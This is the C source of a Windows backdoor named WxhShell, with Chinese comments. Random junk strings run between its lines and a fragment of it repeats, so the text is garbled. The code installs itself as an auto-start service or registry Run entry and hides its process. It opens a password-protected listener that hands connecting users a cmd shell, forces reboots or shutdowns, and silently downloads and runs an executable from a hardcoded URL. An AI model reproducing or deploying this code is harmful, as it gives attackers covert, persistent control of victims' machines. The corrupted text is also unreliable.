(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v:EB*3n5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o=u3&liBi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~{*7"o/ ^aIPN5CK if (!NtQueryInformationProcess) return 0; qBU-~"2t 1;d$#j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t![7uU.W if(!hProcess) return 0; fs|)l$Rd UN7EF/!Zz if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zUDg&-J3 V@\gS"Tu CloseHandle(hProcess); Nw:GCf-L \Lq h j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y}@&h! if(hProcess==NULL) return 0; g(nPQOs$u ZkgV_<M| HMODULE hMod; G=)i{oC char procName[255]; +QB"8- unsigned long cbNeeded; IWBX'|}K > pgX^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jy7\+i MtM%{=&_ CloseHandle(hProcess); pEw"8U O7u(}$D
L if(strstr(procName,"services")) return 1; // 以服务启动 <3(LWxw uvgdY return 0; // 注册表启动 h}-3\8 > } 1ofKt=|= |o,YCzy|5 // 主模块 SD#]$v int StartWxhshell(LPSTR lpCmdLine) kM!kD4& { du+y5dw SOCKET wsl; yZd +^QN BOOL val=TRUE; H!vax)%-\ int port=0; xE1 eT, struct sockaddr_in door; )js)2L~ #XK2Ien)Z if(wscfg.ws_autoins) Install(); M-\Y"]sW ]5BX:% port=atoi(lpCmdLine); sPd Gw~{ ,"2s` YC if(port<=0) port=wscfg.ws_port; siXr;/n" {2qFY5H WSADATA data; BMhy=+\ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [vge56h U
-Y03 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AUeu1(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <m:m &I
8@ door.sin_family = AF_INET; %lL.[8r| door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]d55m /( door.sin_port = htons(port); 2*rH?dz8E EQ2#/> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +
r!1<AAE$ closesocket(wsl); *?o{9v5}( return 1; /`9sPR6e } z+
s6)Ad Q*~LCtrI if(listen(wsl,2) == INVALID_SOCKET) { WegtyO closesocket(wsl); Z,`iO%W return 1; -8'C\R|J+ } Fd#?\r. Wxhshell(wsl); lT4Hn;tnN WSACleanup();
rL/H2[d |]QqXE-7 return 0; Mc#*wEo)8 _,q) hOI } AoY-\E X7[^s
$VK // 以NT服务方式启动 f @8mS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pa#d L!J { 5>VY LI DWORD status = 0; .id)VF-l DWORD specificError = 0xfffffff; NxSu3e~PS @|LBn6q serviceStatus.dwServiceType = SERVICE_WIN32; *Kyw^DI serviceStatus.dwCurrentState = SERVICE_START_PENDING; f5F@^QXQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z:ni$7<. serviceStatus.dwWin32ExitCode = 0; 1[kMOp serviceStatus.dwServiceSpecificExitCode = 0; nYWvTvZ serviceStatus.dwCheckPoint = 0; Z -,J)gW serviceStatus.dwWaitHint = 0; KiRUvWqa ]'5;|xc9$/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :!/gk8F|dI if (hServiceStatusHandle==0) return; m7&O9?X ANvR i+ _ status = GetLastError(); b k|m4| if (status!=NO_ERROR) qL5{f(U4< { Jm|+-F@I serviceStatus.dwCurrentState = SERVICE_STOPPED; wg ^sGKN serviceStatus.dwCheckPoint = 0; b'P eH\h{ serviceStatus.dwWaitHint = 0; XIvn_&d;G serviceStatus.dwWin32ExitCode = status; W-Fu -Cz= serviceStatus.dwServiceSpecificExitCode = specificError; ZPc@Zr`z SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wf>zDW^"R return; :k7uGD } 6`!Fv- 9k9_mjLZ serviceStatus.dwCurrentState = SERVICE_RUNNING; RZ6xdq}> serviceStatus.dwCheckPoint = 0; 6Ztq serviceStatus.dwWaitHint = 0; F&])P-
!3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c<uN"/gi* } '#LQN<"4 'sLiu8G // 处理NT服务事件,比如:启动、停止 "+\ lws VOID WINAPI NTServiceHandler(DWORD fdwControl) h tx;8: { YWMGB#= switch(fdwControl) |_}2f { <F'X<Bau case SERVICE_CONTROL_STOP: RlheQTJ serviceStatus.dwWin32ExitCode = 0; G+F#n6Vx serviceStatus.dwCurrentState = SERVICE_STOPPED; J~B<7O<?!1 serviceStatus.dwCheckPoint = 0; mK[)mC
_8 serviceStatus.dwWaitHint = 0; Qhs/E`k4 { I6j$X 6u SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,QC{3i~ } XGJj3-eW{ return; 76wc ,+ case SERVICE_CONTROL_PAUSE: l_EM8pL,f serviceStatus.dwCurrentState = SERVICE_PAUSED; o HMo>*? break; qzI&<4 case SERVICE_CONTROL_CONTINUE: $KUos+% serviceStatus.dwCurrentState = SERVICE_RUNNING; #
S}Z8 break; [~kdPk case SERVICE_CONTROL_INTERROGATE: 48jVRo break; N-jTc?mT~& }; $BkubWM SetServiceStatus(hServiceStatusHandle, &serviceStatus); WJNl5^ } 3 N7[.I>A M~WijDj // 标准应用程序主函数 LUH" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RG3l.jL { 3<k `+,' u\LiSGePN // 获取操作系统版本 fLDg~;3
OsIsNt=GetOsVer(); 90|7ArM_[ GetModuleFileName(NULL,ExeFile,MAX_PATH); 6lkl7zm .fN"@l // 从命令行安装 &j?#3Qt'_ if(strpbrk(lpCmdLine,"iI")) Install(); zrR`ecC(b w^L ta // 下载执行文件 gzBy?r> r if(wscfg.ws_downexe) { |u0(t,T if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AtU v71D: WinExec(wscfg.ws_filenam,SW_HIDE); (Fynok } QU%I43 YX=2jI if(!OsIsNt) { BBH0OiV= // 如果时win9x,隐藏进程并且设置为注册表启动 `Ja?fI'H- HideProc(); !>BZ6gn5 StartWxhshell(lpCmdLine); v^)bhIPe; } +E1I"); else JT "B>y> if(StartFromService()) Dq36p${\W // 以服务方式启动 P&j(,7 StartServiceCtrlDispatcher(DispatchTable); )+6v else psnTFe // 普通方式启动 K`/`|1 StartWxhshell(lpCmdLine); $&$w Y/F |}{B1A return 0; Ubh{!Y } 1QcT$8HA gXonF' R)F;py8)I >w-;Z>3Q@ =========================================== '" X_B0k !(n4|Wd V[}4L|ad >N;F8v Ypeiy`. U~}
U\_ " nSF``pp+ uch>AuF: #include <stdio.h> p8kr/uMP ; #include <string.h> R)M_|ca #include <windows.h> z
>YFyu#LF #include <winsock2.h> ~by]xE1Eg #include <winsvc.h> :Xn7Ha[f #include <urlmon.h> !ALKSiSl Yk'9U-.mc #pragma comment (lib, "Ws2_32.lib") 3' ~gviI #pragma comment (lib, "urlmon.lib") B|C/
Rk6? +$$$ #define MAX_USER 100 // 最大客户端连接数 #'-Sh7ycW #define BUF_SOCK 200 // sock buffer UK$ms~H #define KEY_BUFF 255 // 输入 buffer `6[I^qG". ^ K7ic,{ #define REBOOT 0 // 重启 %.<H=!$ #define SHUTDOWN 1 // 关机 JOb*-q|y j:}J}P #define DEF_PORT 5000 // 监听端口 :}h>by= rQOWLg!" #define REG_LEN 16 // 注册表键长度 t~e<z81p #define SVC_LEN 80 // NT服务名长度 ~_9n .C b{d4xU8' // 从dll定义API n:0}utU4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bn(`O1r[( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JXixYwm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~`GhS<D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kdxz ! WYIQE$SEv // wxhshell配置信息 sK"9fU struct WSCFG { yf?h#G%24 int ws_port; // 监听端口 -*~CV:2iq- char ws_passstr[REG_LEN]; // 口令 RrhT'':[ int ws_autoins; // 安装标记, 1=yes 0=no :d0Y%vl char ws_regname[REG_LEN]; // 注册表键名 /wxE1][. char ws_svcname[REG_LEN]; // 服务名 .MVY B\6Q0 char ws_svcdisp[SVC_LEN]; // 服务显示名 4EXB;[] char ws_svcdesc[SVC_LEN]; // 服务描述信息 rUlS'L;$" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cv>o.Bp| int ws_downexe; // 下载执行标记, 1=yes 0=no iweD
@b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'S<%Xm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L>!8YUz7p$ TDg@Tg0 }; :qR=>n= ]Ni;w]KE // default Wxhshell configuration `/"nTB struct WSCFG wscfg={DEF_PORT, jYVE8Y)my "xuhuanlingzhe", iJv48#'ii 1, xr qv@/kJ "Wxhshell", k-E{d04-2 "Wxhshell", F,GN[f- "WxhShell Service", 4D$;KokZ "Wrsky Windows CmdShell Service", g|Y] wd "Please Input Your Password: ", O<jPGU 1, {/LZcz[ "http://www.wrsky.com/wxhshell.exe", 9'DtaTmGW "Wxhshell.exe" O1D6^3w }; h6%[q x< K7e4_ZGI // 消息定义模块 Y7GF$}%UL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ygSL char *msg_ws_prompt="\n\r? for help\n\r#>"; M wab!Ya char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (f_g7B2&y char *msg_ws_ext="\n\rExit."; PSRzrv$l char *msg_ws_end="\n\rQuit."; vLa#Y(" char *msg_ws_boot="\n\rReboot..."; ^*&X~8@) char *msg_ws_poff="\n\rShutdown..."; :s-o0$PlJ char *msg_ws_down="\n\rSave to "; E RdL^T> '.Ym!r~wL char *msg_ws_err="\n\rErr!"; p0{EQT`tMG char *msg_ws_ok="\n\rOK!"; ?(
=p<TUw x1gx$P char ExeFile[MAX_PATH]; 6*nAo8gl int nUser = 0; HPQ/~0$ HANDLE handles[MAX_USER]; %d m-?` int OsIsNt; 1|ZhPsD.}g ++}\v9Er SERVICE_STATUS serviceStatus; GIftrYr SERVICE_STATUS_HANDLE hServiceStatusHandle; *U=]@I}J {ub/3Uh // 函数声明 :%JC^dV( int Install(void); T#!lPH :&h int Uninstall(void); T;\^#1 int DownloadFile(char *sURL, SOCKET wsh); C}?0`!Cc% int Boot(int flag); lFUWV)J\ void HideProc(void); G",.,Px int GetOsVer(void); K{cbn1\,H int Wxhshell(SOCKET wsl); i2J q|9,g void TalkWithClient(void *cs); !&]z*t int CmdShell(SOCKET sock); oc{EuW{Ag int StartFromService(void); [U\(G int StartWxhshell(LPSTR lpCmdLine); p"`% u>.y:> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0nW F VOID WINAPI NTServiceHandler( DWORD fdwControl ); H]31l~@] IeF keE // 数据结构和表定义 x`Fjf/1T*m SERVICE_TABLE_ENTRY DispatchTable[] = 9l+{OA { 8cm@a*2% {wscfg.ws_svcname, NTServiceMain}, jU=<r {NULL, NULL} 5V-jMB }; $R^AEa7 Q;h3v1GC\P // 自我安装 |@j_2Q, int Install(void) +&ZX$ { .~=HgOJ char svExeFile[MAX_PATH]; ,smF^l
HKEY key; Psa@@'w strcpy(svExeFile,ExeFile); znZ7*S >6\ ~# 7wdP // 如果是win9x系统,修改注册表设为自启动 uCzii o`S if(!OsIsNt) { Y:x/!- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V*65b(q) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AxCI 0 RegCloseKey(key); PI|`vC|yy& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VY'Q|[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ; !$m1 RegCloseKey(key); 7w58L:)B. return 0; TYjA:d9YH } kJ=L2g>W<. } 3gfimD$ _E } yu&Kh4AP else { 8SnS~._9 oYX{R // 如果是NT以上系统,安装为系统服务 *j*Du+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0jB X5 if (schSCManager!=0) lr('k`KOQ { LxJ6M/". SC_HANDLE schService = CreateService Ff"gadRXd ( i(HByI schSCManager, h(xP_Svj> wscfg.ws_svcname, [@{0o+.]'H wscfg.ws_svcdisp, oEzDMImJ5 SERVICE_ALL_ACCESS, e ^e$mtI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zp=!8Av SERVICE_AUTO_START, 3;$bS<> SERVICE_ERROR_NORMAL, PDw{R]V+ svExeFile, BSXdvI1y NULL, +lp{#1q0 NULL, ~v:#zU NULL, {^&@gkYY NULL, aIvBY78o NULL )teFS% ); %my if (schService!=0) T!(
4QRh[ { EI`vVI CloseServiceHandle(schService); c %<2z CloseServiceHandle(schSCManager); mf*Nr0L;J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R40W'N1%q strcat(svExeFile,wscfg.ws_svcname); wz@FrRP= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (5Ky6b9v RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ha'qIT3& RegCloseKey(key); 2uu[52H8d% return 0; [V< 1_zqt } 5~\Kj#PBx } N+>'J23d! CloseServiceHandle(schSCManager); ,OBQv.D3>a } t*z'c } 5u pShtC 4%bTj,H# return 1; Hptq,~_t } [y{E ~PUsgL^ // 自我卸载 =49o U int Uninstall(void) !d4HN.a7+u { |[wyc!nY). HKEY key; <kc]L x u[`v&e if(!OsIsNt) { iwz`
x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M]0^ind RegDeleteValue(key,wscfg.ws_regname); }=pOiILvD RegCloseKey(key); QV)}3pW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gm@iV,F%R RegDeleteValue(key,wscfg.ws_regname); T{ nQjYb? RegCloseKey(key); wG:$6 return 0; ib Ue*Z["1 } F^TAd } D%GGu"@GO } -R@JIe_28f else { ,^+#M{Z 2E$i_jc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1E^{B8cm if (schSCManager!=0) m3%ef { LY1KQu Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ftW{C1,U7 if (schService!=0) *K!7R2Rat { M5rwoyn if(DeleteService(schService)!=0) { (+$ol'i CloseServiceHandle(schService); ;zm
ks] CloseServiceHandle(schSCManager); ):}Fu return 0; w&+\Wo;([b } .q0AoM CloseServiceHandle(schService); US]"4=Zm } E~69^cd CloseServiceHandle(schSCManager); .r6YrB@[' } vu>YH)N_h } (JvQ-H Z_jn27AC return 1; .='3bQ(UZ4 } `&G} johmJLC // 从指定url下载文件 #_,uE9 int DownloadFile(char *sURL, SOCKET wsh) WxDb3l~ { xLLC)~ HRESULT hr; ,?#*eJD char seps[]= "/"; FB.!`%{ char *token; ~\-r char *file;
j$%yw4dsj char myURL[MAX_PATH]; HD~jU>}} char myFILE[MAX_PATH]; J,`_,T j`+0.Zlq strcpy(myURL,sURL); 1O- E], token=strtok(myURL,seps); v?%0~! while(token!=NULL) Flne=ij6g { uJm #{[ file=token; 1uY3[Z9S token=strtok(NULL,seps); ,?;sT`Mh) } 5@CpP-W# bA0uGLc GetCurrentDirectory(MAX_PATH,myFILE); Bd.Z+#%l" strcat(myFILE, "\\"); Yo@m50s$ strcat(myFILE, file); ]zy~@,\ send(wsh,myFILE,strlen(myFILE),0); U"/yB8!W send(wsh,"...",3,0); widI
s[
) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nxf{PbHk if(hr==S_OK) ;4R=eI return 0; A&;EV#]ge else Y]M^n&f return 1; ;*"!:GR%h 3a/[."W
u } #efqG=q %h3L // 系统电源模块 ja L$LJV int Boot(int flag) X9 z:D> { nq),VPJi HANDLE hToken; pqkcf\ TOKEN_PRIVILEGES tkp; ^#}dPGm `X3Xz! if(OsIsNt) { rO5u~"v] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1mY+0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0I(uddG3 tkp.PrivilegeCount = 1; ntDRlX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;`;G/1]#9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z={D0` if(flag==REBOOT) { [..,( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xcAF
return 0; ?,D>+:: } g&|4 else { 0zlM.rjEZ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YG-Z.{d5Z return 0; iLjuE)6-$ } d3\OHkM0^ } 9k(*?!\; else { ]u\ ` if(flag==REBOOT) { DxE^#=7iH; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 97['VOh0 return 0; J(3gT}z- } T_(qN;_ else { *(@L+D0N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i# CaKS return 0; jc${.?m } ._8xY$l$ } dM$N1DB{U+ j|3g(_v4W return 1; o+]Y=r2 } CpUI|Rs D{Hh#x8Y // win9x进程隐藏模块 ^zBjG/'7 void HideProc(void) bEVO<x+ { '*o7_Ez-{ bd@*vu}?} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %s~NQ;Y if ( hKernel != NULL ) N1D6D$s 0 { EX+={U|ua$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x`};{oz; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fcgDU *A% FreeLibrary(hKernel); @Fm{6^ } NqQM!B] ^8o_Iz)r, return; 2N8rM}?90 } g:G%Ei~sF Z;|0"K
// 获取操作系统版本 vjOG?- int GetOsVer(void) 2VoEQ { lM@<_=2 OSVERSIONINFO winfo; aF;]7i@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &CB.*\0 GetVersionEx(&winfo); hqhu^.}] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f:x9Y{Y return 1; T% /xti5$! else >N+bU{s return 0; e>])m3xvn } WHpUjyBP PK:o}IWn~x // 客户端句柄模块 3p?<iVE int Wxhshell(SOCKET wsl) =j'J
!M { r`&2-] SOCKET wsh; h"RP>fZt struct sockaddr_in client; 0?J|C6XM#4 DWORD myID; E<X{72fb> RTg Q#<W8 while(nUser<MAX_USER) = )JVT$]w { yr/]xc$ int nSize=sizeof(client); vp )}/&/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O<eWq] if(wsh==INVALID_SOCKET) return 1; ~$?y1Yv =!pu+&I 9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /pAm8vK if(handles[nUser]==0) 2$j
Ot} closesocket(wsh); AHp830\ else :{TmR3. nUser++; L5-T6CD } $'J6#Vs WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hJC
p0F9O L&!g33J&
return 0; q 2_N90u } &viwo}ls0 ~RZJ/%6F // 关闭 socket 8xD<A| void CloseIt(SOCKET wsh) 4."o.:8x { uI[-P}bSc& closesocket(wsh); }rj C_q nUser--; #x4h_K
Y ExitThread(0);
?[hy|r6$ } 20Cie
q (T%F!2i([U // 客户端请求句柄 !TV_dKa void TalkWithClient(void *cs) ^.Ih,@N6 { sT[av E&s'uE=w+ SOCKET wsh=(SOCKET)cs; 4BduUH char pwd[SVC_LEN]; /A[oj2un char cmd[KEY_BUFF]; zDvP7hl char chr[1]; 7T|J[WO int i,j; 'o)ve( /IrR,bvA while (nUser < MAX_USER) { .@8m\
Z}'F"}QI if(wscfg.ws_passstr) { 1{hoO<CJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z3abem<Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p^4;fD //ZeroMemory(pwd,KEY_BUFF); @qO8Jg"Q i=0; #pDGaqeX while(i<SVC_LEN) { n}9Msen t=E|RYC(k // 设置超时 !CVBG*E^l fd_set FdRead; D_
Bx>G9 struct timeval TimeOut; C+L_61 FD_ZERO(&FdRead); }Pm(oR'KTJ FD_SET(wsh,&FdRead); $_URXI TimeOut.tv_sec=8; xM'S
;Sg TimeOut.tv_usec=0; N?2#YTjR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xT=kxyu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8~[C'+r uJ)=+Exii if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2l[A=Z pwd=chr[0]; iw~V_y4 if(chr[0]==0xd || chr[0]==0xa) { /_VRO9R\V pwd=0; Y#SmZ*zok
break; 'wB Huq } g~^{-6Vg i++; xvx\H' } eMm~7\
R Rbj+P;t& // 如果是非法用户,关闭 socket 5|~r{w)9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CyK$XDHa } @7HOL-i %.Tf u0M send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {YKMQI^O/ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k6IV&0
3x picP_1L while(1) { "$V 8y LD~uI ZeroMemory(cmd,KEY_BUFF); x@ s`;qz +U_-Lq ) // 自动支持客户端 telnet标准 \xO2WD j=0; FbCZV3Y while(j<KEY_BUFF) { |B{$URu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'j"N2NJ cmd[j]=chr[0]; @DQ"vFj6< if(chr[0]==0xa || chr[0]==0xd) { !k>H e*M}P cmd[j]=0; Mly z>< break; J?Ep Nie } n;k97>m${x j++; 9+is?Pj } [P&,}o)+E0 ~4 ~Tcn // 下载文件 #G!Adj+p5 if(strstr(cmd,"http://")) { gh #w%g1g send(wsh,msg_ws_down,strlen(msg_ws_down),0); y~A7pzBZ= if(DownloadFile(cmd,wsh)) z$BnEd.y=: send(wsh,msg_ws_err,strlen(msg_ws_err),0); NKUI! [ else /o1)ZC$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ni@e/|
2b } @X6#$ex else { +&N&D"9A 2gD{Fgf@N switch(cmd[0]) { @aD~YtL"n a]wcA // 帮助 \]`(xxt1 case '?': { rIFC#Jd/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }AsF\W+5 break; @`y?\fWh } 9;v"bcQ // 安装 V+a%,sI case 'i': { r4NT`&`g? if(Install()) 2E;%=e send(wsh,msg_ws_err,strlen(msg_ws_err),0); &9lc\Y4PY else @H# kvYWmn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ckrn>E{h break; t`1]U4s&I } >3
.ep}, // 卸载 K!:
,l case 'r': { ?-F'0-t4% if(Uninstall()) QUw5~n ;- send(wsh,msg_ws_err,strlen(msg_ws_err),0); S7~F*CGBh else 6% y) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vS t=Ax3] break; ^)IL<S&h } ; ?lM|kK // 显示 wxhshell 所在路径 F",abp! case 'p': { 9MzkG87J char svExeFile[MAX_PATH]; POg0=32 strcpy(svExeFile,"\n\r"); |16BidWi strcat(svExeFile,ExeFile); ^57fHlw send(wsh,svExeFile,strlen(svExeFile),0); +$=Wms-z break; OYtus7q< } WZ6{(`;#m // 重启 &'yV:g3H case 'b': { <[5$ {) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \HQb#f, if(Boot(REBOOT)) Y&Lk4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); WfbNar[ else { W>|b98NPu closesocket(wsh); 3Q~&xNf ExitThread(0); l`%}
{3r9 } gcCYXPZp break; x[>_I1TJ } k`~br249 // 关机 ~\}EROb< case 'd': { Q
fyERa\rb send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c3!|h1h/v if(Boot(SHUTDOWN)) ^$,kTU'= send(wsh,msg_ws_err,strlen(msg_ws_err),0); pH:|G else { &?`&X=Q closesocket(wsh); i |^`gly ExitThread(0); {uM{5GSL } q
vVZA* break; x71!r } Xsn - +e // 获取shell _]ttKT(
case 's': { udy;Odt CmdShell(wsh); q4ko}jn closesocket(wsh); 6:z&ukqE ExitThread(0); 3L]^x9Cu) break; RH4n0=2 } "l,EcZRjTz // 退出 Lm{ o=v
case 'x': { ,$qs9b~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H.[&gm}p> CloseIt(wsh); F}.TT=((8 break; 2_\|>g| } U`p<lxRgQ // 离开 _w/N[E case 'q': { `LU,uz send(wsh,msg_ws_end,strlen(msg_ws_end),0); uv!qE1z@': closesocket(wsh); JI,hy
<3l0 WSACleanup(); .*f4e3 exit(1); #R PB;#{ break; W!B4<'Fjc } wP':B
AQ4U } 2^ZPO4| } "#k(V=y E=*Q\3G~ // 提示信息 wEc5{ b5M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3M*[a~ } wP1VQUL } CgKSK0/a ?N*@o. return; Q4:r$
& } 0a%ui2k 9S1V!Jp // shell模块句柄 % P)}(e6y int CmdShell(SOCKET sock) #=#$b _6* { gpvj'Ri7V STARTUPINFO si; CPeK0(7Zh ZeroMemory(&si,sizeof(si)); I3$vw7}5Y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WA\f`SRF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +i!M[ PROCESS_INFORMATION ProcessInfo; +5mkMZ char cmdline[]="cmd"; CscJy0dB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qm5pEort return 0; j77}{5@p } ~MQf($] Q%1;{5 // 自身启动模式 T2; 9 int StartFromService(void) q.F1Jj { B"zg85
e typedef struct 3 v$4LY { #}yFHM?i DWORD ExitStatus; 7 ~8Fs@ DWORD PebBaseAddress; %9Fg1LH42r DWORD AffinityMask; =e/4Gs0* DWORD BasePriority; 0U*"OSpF ULONG UniqueProcessId; PQ1NQy8 ULONG InheritedFromUniqueProcessId;
bK1`a{ } PROCESS_BASIC_INFORMATION; \bSHBTK IEf^.Z PROCNTQSIP NtQueryInformationProcess; =I}V PxhE7 p&l:937 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k $&A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B9:0|i!!A` [E7@W[xr HANDLE hProcess; tp2 _OQAQ PROCESS_BASIC_INFORMATION pbi; 97dI4t< YDD]n*& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ADz|Y~V! if(NULL == hInst ) return 0; +[[gU;U"v --FtFo g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,peE' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bys|i 0tb- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p'} %pAY OR8o%AxL7 if (!NtQueryInformationProcess) return 0; M?u)H&kEl Sxu
v}y\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S]g)^f'a65 if(!hProcess) return 0; 4O^1gw r= aQS5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q~_jF$9SX dtl< CloseHandle(hProcess); ,jcp"-5#j ttVSgKAsm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BIyG[y?qO if(hProcess==NULL) return 0; QLG,r^
